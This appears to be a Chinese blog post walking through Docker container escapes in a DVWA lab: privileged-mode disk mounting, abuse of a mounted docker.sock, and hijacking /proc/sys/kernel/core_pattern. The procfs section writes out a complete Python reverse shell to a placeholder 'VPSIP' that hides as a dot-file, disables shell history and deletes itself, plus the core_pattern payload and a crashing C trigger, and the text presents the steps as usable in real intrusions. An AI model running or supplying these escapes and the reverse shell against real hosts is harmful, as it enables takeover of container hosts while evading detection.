云原生-docker逃逸

docker安装

我使用的kali安装

安装docker
步骤
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"  //kali使用下面的软件源
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian buster stable"
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
sudo systemctl status docker

使用DVWA进行测试

docker直接拉取,然后到文件上传木马,哥斯拉连接


首先就是判断是否在docker容器中
这里推荐一篇文章
https://blog.csdn.net/qq_23936389/article/details/131486643
最准确的就是直接查看是否有.dockerenv文件,如果有那么就代表是存在于docker环境中,这个判断需要在拿到shell之后的判断,其他的命令进行判断会有权限的限制,如果权限低了无法执行命令

docker逃逸

特权模式
docker使用了特权模式进行启动才存在这个漏洞,--privileged=true,就是这个参数导致的逃逸
命令

docker run --rm --privileged=true -it alpine(这个是容器名)

实验:
使用dvwa进行特权模式启动

docker run -p 8899:80 --rm --privileged=true -it vulnerables/web-dvwa 

判断是否是特权模式启动方法

// 如果执行以下的命令出现了CapEff 对应的掩码值0000003fffffffff 或者是 0000001fffffffff,就说明是使用特权模式进行启动的,就可以利用这个逃逸方式进行
cat /proc/self/status | grep CapEff

这个是在主机上使用root权限执行的

使用webshell进行执行查看结果

可以发现这个命令也是会受到权限的影响,所以这个判断方式需要首先进行提权,才能查看
实验用root模式进行
首先查看磁盘挂载情况

fdisk -l


然后创建一个任意的目录将宿主机的目录进行挂载到创建的目录里面

mkdir /jack && mount /dev/vda1 /jack


然后查看是否创建成功

之后查看是否挂载成功


至此特权模式启动逃逸成功

危险挂载 Docker Socket逃逸
创建一个容器,将宿主机的 /var/run/docker.sock 文件映射到容器内的同样路径,这样容器就能够与宿主机上的 Docker 守护进程进行通信。这个漏洞的原理就是在容器内部再创建一个容器,然后将宿主机目录挂载到新的容器内部进行逃逸

// 这个--name就是为容器更改一个别名,当执行这个命令的时候容器名字就不是Ubuntu而是我们设置的名,然后 -itd, -i是交互式,-t是进入终端-d是后台运行容器
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu


然后进入镜像(实际渗透中如果拿到shell就已经进入了镜像)

docker exec -it 自定义的名字 /bin/bash


检测是否有这个漏洞

ls -lah /var/run/docker.sock

如果存在这个文件,那么说明可以使用这个漏洞进行逃逸

然后下一步就是在docker里面再安装一个docker,之后再创建一个容器,将宿主机的目录挂载到这个容器里面

// 在真实环境中也可以进行这几条命令的安装
apt-get update
apt-get install curl
// 命令解释:-f 当发生错误的时候不显示错误信息,-s静默模式不显示进度或者错误信息 -S 显示错误信息,如果发生了错误信息,-L如果服务器返回的http头中包含重定向信息,curl会根据这些信息重新发出请求
curl -fsSL https://get.docker.com/ | sh

安装成功之后执行下面的命令进行挂载

这条命令会在一个交互式的 Ubuntu 容器内启动一个 Bash shell,并且将宿主机的根目录(/)挂载到容器内的 /host 目录下。
-it: 这两个选项分别代表交互式(-i)和分配一个伪终端(-t),允许你与容器的 Bash shell 进行交互。
-v /:/host: 这个参数将宿主机的根目录(/)挂载到容器内的 /host 目录。可以在容器内访问宿主机的根目录文件系统。
ubuntu: 指定要运行的镜像,这里是 Ubuntu。
/bin/bash: 指定在容器内启动的程序,这里是 Bash shell,使你能够与容器进行交互并执行命令。
总体来说,这个命令允许在一个 Ubuntu 容器内部运行 Bash shell,并且通过挂载宿主机根目录到容器内的 /host 目录,可以访问宿主机的文件系统。

然后执行

可以看到这个容器已经变化了,已经进入了我们新建的容器中,然后查看是否有新建的目录

查看是否挂载成功

显示了宿主机的文件,说明逃逸成功
危险挂载procfs逃逸
procfs是一个伪文件系统,动态反映着系统内进程及其他组件的状态,将宿主机的procfs挂载到不受控的容器中,如果在该容器内默认启用root权限,将这个文件挂载到容器里面就会造成procfs方法进行逃逸

这条命令将在一个交互式的 Ubuntu 容器内运行,并且使用 -v 参数将宿主机中的 /proc/sys/kernel/core_pattern 文件挂载到容器内的 /host/proc/sys/kernel/core_pattern 路径。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu


在真实环境中第一步就是检测是否有这个漏洞条件可以进行逃逸

find / -name core_pattern

如果有的话就会有显示这个文件,如果没有就不会回显这个文件的位置

然后下一步就是找当前容器在宿主机的位置

// 这个命令就是去查看系统当前挂载文件的信息,/proc/mounts 文件中包含所有逗号分隔的内容,然后去过滤查找workdir的内容,并进行回显并且通过 grep 过滤出包含 "workdir" 的行。xargs -d ',' -n 1: xargs 命令是用来构造和执行其他命令的实用工具。在这里,-d ',' 参数表示使用逗号作为分隔符,-n 1 参数表示每次执行一次命令。所以,它会将 /proc/mounts 文件中的每个逗号分隔的项分别传递给后面的命令进行处理。grep workdir: 在输入中查找匹配指定模式的行。过滤出包含 "workdir" 字符串的行。
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir


记录这个路径
``tex
/var/lib/docker/overlay2/8d601dd5faf1dacca59f56888b9b4d8b49b6832c3d8867d43eb982aa094b0654/merged(注意这里是merged的目录而不是回显的work目录)

然后下一步就是写入反弹shell的脚本,并编译c文件,执行,也可以自己本机编译,上传执行
```tex
这边在实际环境中docker环境中可能没有vim,可以使用cat进行写入
/tmp/.x.py   # 这个点文件是隐藏文件
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "VPSIP"
lport = PORT
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')  # 这个可以实现当运行这个脚本之后会将此脚本进行删除
    s.close()
if __name__ == "__main__":
    main()
EOF


然后写入反弹 shell 到目标的 proc 目录下

这个命令是将 /var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py 路径和 core 字符串写入到 /host/sys/kernel/core_pattern 文件中。

echo -e "|/var/lib/docker/overlay2/8d601dd5faf1dacca59f56888b9b4d8b49b6832c3d8867d43eb982aa094b0654/merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern

注意自己的路径是否正确

最后与就是编译c文件

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

这个也可以使用cat进行写入然后在目标机器中记性执行和编译,第二种方式就是在自己的主机编译好,利用webshell或者其他的方法进行上传执行,因为目标机器有可能是没有这个gcc工具的。

// 安装gcc工具
apt-get update && apt-get install gcc -y
// 编译c文件,切换到tmp目录然后进行执行
gcc x.c -o x 


最后就是直接./x然后反弹shell就能得到宿主机的权限,逃离成功

总结
在真实环境中这几种方式首先就是得判断是否在docker里面,然后在利用上面的几种方式进行查看是否有危险挂载或者特权模式,有的命令需要root高权限,需要进行提权后进行判断。java和jsp的高权限无需提权。

posted @ 2023-11-25 17:23  Running_J  阅读(55)  评论(0编辑  收藏  举报